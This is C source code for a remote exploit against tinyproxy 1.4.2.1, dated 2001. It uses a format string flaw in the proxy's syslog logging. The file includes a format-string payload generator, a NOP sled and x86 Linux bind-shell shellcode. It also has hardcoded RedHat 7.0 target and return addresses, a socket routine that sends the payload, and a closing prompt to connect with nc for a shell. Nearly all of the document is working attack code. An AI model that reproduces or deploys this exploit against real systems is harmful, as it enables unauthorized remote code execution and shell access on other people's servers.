/* tinyproxy-exp.c
 *
 * tinyproxy <=1.4.2.1 remote exploit (x86-lnx)
 * by mu-b - Sep 2001
 *
 * - Tested on: RedHat 7.0 tinyproxy 1.4.2.1 (tar.gz)
 *
 * Copyright (c) 2001 by <mu-b@digit-labs.org>
 *
 * Improper syslog() in log_message() function allows remote
 * compromise WHEN syslog is turned on in /etc/tinyproxy/tinyproxy.conf
 *
 * This isn't really very stable :(, improvements could be made
 * for instance i know theres a register that references to a static
 * place on the stack that ALWAYS points inside the request string
 * unfortunately its in the middle of the format string so adjustments
 * need to be made. Any takers??
 *
 * ChangeLog: 2001-09-04  Robert James Kaes  <rjkaes@flarenet.com>
 *
 *  Released tinyproxy 1.4.2.2 (2001-09-04)
 *
 *  * src/log.c (log_message): Thanks to NeilK for finding and fixing
 *    a problem with the syslog code which can lead to a format string
 *    attack.
 *
 * http://www.digit-labs.org/ -- Digit-Labs 2001!@$!
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>

#define NOP     0x41
#define NUMVULN 1
#define OFFSET  0
#define PORT    8888

static void usage ();
static void mkfmt ();
static int opensocket (char *);

unsigned char shellcode[] =
  "\xeb\x6e\x5e\x29\xc0\x89\x46\x10"
  "\x40\x89\xc3\x89\x46\x0c\x40\x89"
  "\x46\x08\x8d\x4e\x08\xb0\x66\xcd"
  "\x80\x43\xc6\x46\x10\x10\x88\x46"
  "\x08\x31\xc0\x31\xd2\x89\x46\x18"
  "\xb0\x90\x66\x89\x46\x16\x8d\x4e"
  "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
  "\x66\xcd\x80\x89\x5e\x0c\x43\x43"
  "\xb0\x66\xcd\x80\x89\x56\x0c\x89"
  "\x56\x10\xb0\x66\x43\xcd\x80\x86"
  "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0"
  "\x3f\x41\xcd\x80\xb0\x3f\x41\xcd"
  "\x80\x88\x56\x07\x89\x76\x0c\x87"
  "\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80"
  "\xe8\x8d\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68";

struct
{
  char *name;
  unsigned long target;
  unsigned long retaddr;
  int padding;
  int buf_len;
} targets[] =
{
  {
  "RedHat 7.0 tinyproxy v1.4.2.1", 0x08052488, 0xbf7fba18, 3, 500},
  {
  0}
};

static void
usage ()
{
  int i;

  fprintf (stderr, "usage: ./tinyproxy-exp <host> [type]\n");
  fprintf (stderr, "\ntargets:\n");

  for (i = 0; targets[i].name; i++)
    fprintf (stderr, "\t%d.\t%s\n", i, targets[i].name);

  fprintf (stderr, "\n");
  exit (EXIT_FAILURE);
}


static void
mkfmt (char *dest_buf, int buf_len,
       unsigned long target, unsigned long retaddr, int padding)
{
  int i, j, fmtints[4];
  int bytesofar = 25 + padding;
  unsigned char temp[4];
  char *bufptr = dest_buf + padding;

  temp[0] = (unsigned char) (target & 0x000000ff);
  temp[1] = (unsigned char) ((target & 0x0000ff00) >> 8);
  temp[2] = (unsigned char) ((target & 0x00ff0000) >> 16);
  temp[3] = (unsigned char) ((target & 0xff000000) >> 24);

  for (i = 0; i < 4; i++, bufptr += 4, temp[0]++)
    sprintf (bufptr, "%c%c%c%c", temp[0], temp[1], temp[2], temp[3]);

  fmtints[0] = (int) (retaddr & 0x000000ff);
  fmtints[1] = (int) ((retaddr & 0x0000ff00) >> 8);
  fmtints[2] = (int) ((retaddr & 0x00ff0000) >> 16);
  fmtints[3] = (int) ((retaddr & 0xff000000) >> 24);

  for (i = 0; i < 4; i++)
    {
      if (fmtints[i] - bytesofar < 10)
        {
          while (1)
            {
              fmtints[i] += 0x100;
              if (fmtints[i] - bytesofar > 9)
                {
                  fmtints[i] -= bytesofar;
                  bytesofar += fmtints[i];
                  break;
                }
            }
        }
      else
        {
          fmtints[i] -= bytesofar;
          bytesofar += fmtints[i];
        }
    }

  sprintf (bufptr, "%%.%du%%10$n%%.%du%%11$n%%.%du%%12$n%%.%du%%13$n",
           fmtints[0], fmtints[1], fmtints[2], fmtints[3]);

  for (i = strlen (dest_buf); i < buf_len - strlen (shellcode) - 1; i++)
    dest_buf[i] = NOP;

  for (j = 0; i < buf_len - 1; i++)
    dest_buf[i] = shellcode[j++];

  dest_buf[buf_len - 1] = '\n';
  dest_buf[buf_len] = '\0';
}

int
opensocket (char *host)
{
  int s;
  struct sockaddr_in remote_sin;
  struct hostent *he;

  if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
    {
      perror ("socket()");
      return -1;
    }

  memset ((char *) &remote_sin, 0, sizeof (remote_sin));
  if ((he = gethostbyname (host)) != NULL)
    memcpy ((char *) &remote_sin.sin_addr, he->h_addr, he->h_length);
  else if ((remote_sin.sin_addr.s_addr = inet_addr (host)) < 0)
    {
      perror ("gethostbyname()/inet_addr()");
      return -1;
    }

  remote_sin.sin_family = PF_INET;
  remote_sin.sin_port = htons (PORT);

  if (connect (s, (struct sockaddr *) &remote_sin, sizeof (remote_sin)) == -1)
    {
      perror ("connect()");
      close (s);
      return -1;
    }

  return s;
}

int
main (int argc, char *argv[])
{
  int type, sock;
  char *host_t;
  char buf[520];

  printf ("tinyproxy v1.4.x.x remote exploit\n"
          "by: <mu-b@digit-labs.org>\n\n");

  if (argc < 2)
    usage ();

  if (argc >= 3)
    type = atoi (argv[2]);

  if (type >= NUMVULN)
    type = 0;

  host_t = argv[1];
  fprintf (stderr, "Target:\t\t%s\nType:\t\t%s\n", host_t,
           targets[type].name);

  fprintf (stderr,
           "Target Address:\t%p\nReturn Address:\t%p\nOffset:\t\t%d\n",
           targets[type].target, targets[type].retaddr, OFFSET);

  fprintf (stderr, "buf_len:\t%d\n", targets[type].buf_len);

  if ((sock = opensocket (host_t)) <= 0)
    return -1;

  fprintf (stderr, "\nConnected....\n");
  memset (buf, 0x61, sizeof (char) * targets[type].padding);
  mkfmt (buf, targets[type].buf_len,
         targets[type].target,
         targets[type].retaddr + OFFSET, targets[type].padding);
  write (sock, buf, strlen (buf));
  sleep (1);
  close (sock);

  fprintf (stderr, "\n[1] sent payload....\n");
  fprintf (stderr, "[2] waiting....\n");
  sleep (2);
  fprintf (stderr, "[3] nc %s 36864 for shell....\n\n", host_t);

  return (EXIT_SUCCESS);
}
